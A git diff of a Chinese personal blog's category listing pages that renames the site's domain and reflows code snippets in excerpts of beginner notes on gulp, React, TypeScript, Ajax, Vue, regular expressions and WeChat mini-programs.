 全局安装gulp
 npm install –global gulp-cli
 或者
@@ -50,48 +46,21 @@
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require("gulp");
-gulp.task("test", function() {
-return console.log("hallo gulp");
-});
-执行test任务（在终端，应用根目录下）
-gulp test...</p></div><footer class=entry-footer><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to gulp学习笔记" href=https://xiaochenabc123.github.io/posts/73/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习React</h2></header><div class=entry-content><p>setState()
+let gulp = require("gulp"); gulp.task("test", function() { return console.log("hallo gulp"); }); 执行test任务（在终端，应用根目录下）
+gulp test...</p></div><footer class=entry-footer><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to gulp学习笔记" href=https://chenjunlinabc.github.io/posts/73/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习React</h2></header><div class=entry-content><p>setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-})
-console.log(this.state.count)
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-})
-console.log(this.state.count)
-state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-},() => {
-console.log(this.state.count)
-})
-可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =>{ return{ count: state.count + 1 } },() => { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
-&lt;div>hallo&lt;/div>
-)
-console.log(Abc)
-可以看到输出返回的是一个js对象
+const Abc = ( &lt;div>hallo&lt;/div> ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -103,7 +72,7 @@
 如果需要在多个方法中使用（共享）的数据，应该放在this中
 因为组件更新机制的原因，子组件没有变化也会重新渲染
 解决方法：
-使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行...</p></div><footer class=entry-footer><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习React" href=https://xiaochenabc123.github.io/posts/63/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>TypeScript学习笔记</h2></header><div class=entry-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
+使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行...</p></div><footer class=entry-footer><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习React" href=https://chenjunlinabc.github.io/posts/63/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>TypeScript学习笔记</h2></header><div class=entry-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
 TypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）
@@ -139,7 +108,7 @@
 boolean布尔值，例如：
 let hallo: boolean = true
 number数值，例如：
-let hallo: number = 123;...</p></div><footer class=entry-footer><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to TypeScript学习笔记" href=https://xiaochenabc123.github.io/posts/58/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>React学习笔记</h2></header><div class=entry-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
+let hallo: number = 123;...</p></div><footer class=entry-footer><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to TypeScript学习笔记" href=https://chenjunlinabc.github.io/posts/58/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>React学习笔记</h2></header><div class=entry-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
 必需：react和react-dom
@@ -148,40 +117,18 @@
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-&lt;script type="text/babel">
-ReactDOM.render(
-&lt;h1>hallo,react!!!&lt;/h1>,
-document.getElementById("app")
-);
-&lt;/script>
-使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+&lt;script type="text/babel"> ReactDOM.render( &lt;h1>hallo,react!!!&lt;/h1>, document.getElementById("app") ); &lt;/script> 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = &lt;h1>hallo&lt;/h1>;
-像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = &lt;h1>hallo&lt;/h1>; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
-return yes.name;
-}
-const yes = {
-name: "react"
-};
-const hallo = &lt;h1>hallo,{hallo(yes)}&lt;/h1>;
-ReactDOM.render(
-hallo,
-document.getElementById("app")
-);
-当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement("h1",{class: "main"},React.createElement("p",null,"hallo word!!!"))
-/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
-ReactDOM.render(hallo,document.getElementById("app"))
-/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
-react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: "react" }; const hallo = &lt;h1>hallo,{hallo(yes)}&lt;/h1>; ReactDOM.render( hallo, document.getElementById("app") ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement("h1",{class: "main"},React.createElement("p",null,"hallo word!!!")) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById("app")) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
 npm start或者yarn start
-模块化导入react...</p></div><footer class=entry-footer><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React学习笔记" href=https://xiaochenabc123.github.io/posts/55/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/5/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+模块化导入react...</p></div><footer class=entry-footer><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React学习笔记" href=https://chenjunlinabc.github.io/posts/55/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/5/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\345\255\246\344\271\240/page/7/index.html" "b/categories/\345\255\246\344\271\240/page/7/index.html"
index a551fe8c..6cb10977 100644
--- "a/categories/\345\255\246\344\271\240/page/7/index.html"
+++ "b/categories/\345\255\246\344\271\240/page/7/index.html"
@@ -1,22 +1,8 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Ajax学习笔记</h2></header><div class=entry-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Ajax学习笔记</h2></header><div class=entry-content><p>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
-const express = require("express");
-// 导入path
-const patg = require("path");
-// 创建web服务器
-const app = express();
-// 静态资源访问服务
-app.use(express.static(path.join(__dirname,"public")));
-app.get("/hallo",(req, res) = >{
-res.send("hallo");
-});
-// 监听端口
-app.listen(3000);
-console.log("服务器启动成功")
-nodemon app.js
+// 导入express const express = require("express"); // 导入path const patg = require("path"); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,"public"))); app.get("/hallo",(req, res) = >{ res.send("hallo"); }); // 监听端口 app.listen(3000); console.log("服务器启动成功") nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -26,17 +12,10 @@
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
-console.log(hallo.responseText)
-}
-服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get("/hallo",(req, res) = >{
-res.send({"name" : "root"});
-});
-json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
-console....</p></div><footer class=entry-footer><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Ajax学习笔记" href=https://xiaochenabc123.github.io/posts/54/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习vue组件</h2></header><div class=entry-content><p>组件注册
+app.get("/hallo",(req, res) = >{ res.send({"name" : "root"}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console....</p></div><footer class=entry-footer><span title='2021-07-03 15:30:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Ajax学习笔记" href=https://chenjunlinabc.github.io/posts/54/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习vue组件</h2></header><div class=entry-content><p>组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
 全部小写，多个单词用连字符连接（-减号）
@@ -44,44 +23,16 @@
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-&lt;div id="app">
-&lt;datas-a>&lt;/datas-a>
-&lt;/div>
-&lt;script>
-const datas ={
-template: `
-&lt;div>
-hallo
-&lt;/div>
-`
-}
-const hallo = Vue.createApp({
-components: {
-"datas-a" : datas
-}
-}).mount('#app')
-&lt;/script>
-components对象，键为自定义元素的名称，值为组件的实质对象
+&lt;div id="app"> &lt;datas-a>&lt;/datas-a> &lt;/div> &lt;script> const datas ={ template: ` &lt;div> hallo &lt;/div> ` } const hallo = Vue.createApp({ components: { "datas-a" : datas } }).mount('#app') &lt;/script> components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
-components: {
-"datas-a" : dataa
-}
-}
-模块系统
+const datab ={ components: { "datas-a" : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from ‘./datas’
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
-component: {
-props:{
-abc: String,
-xyz: Boolean,
-},
-template: `&lt;h1>{{abc....</p></div><footer class=entry-footer><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vue组件" href=https://xiaochenabc123.github.io/posts/53/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>正则表达式学习笔记</h2></header><div class=entry-content><p>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `&lt;h1>{{abc....</p></div><footer class=entry-footer><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vue组件" href=https://chenjunlinabc.github.io/posts/53/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>正则表达式学习笔记</h2></header><div class=entry-content><p>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
 JavaScript创建正则表达式
 使用RegExp对象创建
 var hallo = new RegExp(/123/);
@@ -115,7 +66,7 @@
 var hallo = /^[^a-z]$/;
 在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母
 量词符（*，+，?）
-var hallo = /a*/;...</p></div><footer class=entry-footer><span title='2021-07-02 18:12:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 正则表达式学习笔记" href=https://xiaochenabc123.github.io/posts/52/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>微信小程序学习笔记</h2></header><div class=entry-content><p>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
+var hallo = /a*/;...</p></div><footer class=entry-footer><span title='2021-07-02 18:12:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 正则表达式学习笔记" href=https://chenjunlinabc.github.io/posts/52/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>微信小程序学习笔记</h2></header><div class=entry-content><p>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
 微信之父张小龙是这样描述小程序的：
 小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。
 用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。
@@ -145,18 +96,8 @@
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-"pages":[
-"pages/index/index",
-"pages/demo/demo"
-],
-window属性是设置小程序的窗口样式，例如：
-"window":{
-"backgroundTextStyle":"light",
-"navigationBarBackgroundColor": "#fff", // 导航栏背景颜色
-"navigationBarTitleText": "Weixin", // 导航栏文本
-"navigationBarTextStyle":"black" // 导航栏文本颜色
-},
-从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+"pages":[ "pages/index/index", "pages/demo/demo" ], window属性是设置小程序的窗口样式，例如：
